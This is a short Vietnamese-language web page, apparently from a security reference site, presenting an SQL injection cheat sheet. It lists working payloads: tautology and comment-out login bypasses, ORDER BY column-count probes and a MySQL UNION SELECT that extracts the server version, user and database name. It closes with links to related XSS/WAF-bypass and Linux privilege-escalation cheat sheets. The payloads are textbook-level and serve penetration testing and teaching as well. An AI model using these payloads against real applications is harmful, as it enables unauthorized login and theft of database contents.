Payload• 35+ Queries• Cập nhật: 2026-07-24
SQL Injection (SQLi) Cheat Sheet
Khai thác lỗ hổng tiêm mã SQL: UNION-based, Error-based, Blind Boolean, Time-based SQLi trên MySQL, PostgreSQL & MSSQL.
Tổng quan & Hướng dẫn sử dụng
SQL Injection cho phép kẻ tấn công can thiệp vào các câu truy vấn cơ sở dữ liệu của ứng dụng. Cheat sheet này tổng hợp các cú pháp khai thác phổ biến.
Bypass Authentication
Bỏ qua màn hình đăng nhập không kiểm tra dữ liệu đầu vào.
Classic Tautology Login Bypass
sql
' OR '1'='1' --Admin Comment Out Bypass
sql
admin' --UNION-based SQLi
Trích xuất dữ liệu từ các bảng khác qua câu lệnh UNION SELECT.
Determine Column Count
sql
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--MySQL Version & User Extraction
sql
' UNION SELECT @@version, user(), database()--Cheatsheets liên quan
Bypass WAF45+ Payloads
Cross-Site Scripting (XSS) Payloads & Bypass
Tổng hợp các payload XSS cơ bản đến nâng cao bao gồm Reflected, Stored, DOM-based XSS và kỹ thuật bypass Filter/WAF.
CLI40+ Commands
Linux Privilege Escalation Commands
Danh sách lệnh liệt kê hệ thống, kiểm tra quyền SUID/SGID, sudo -l, capabilities và cron jobs để leo thang Root.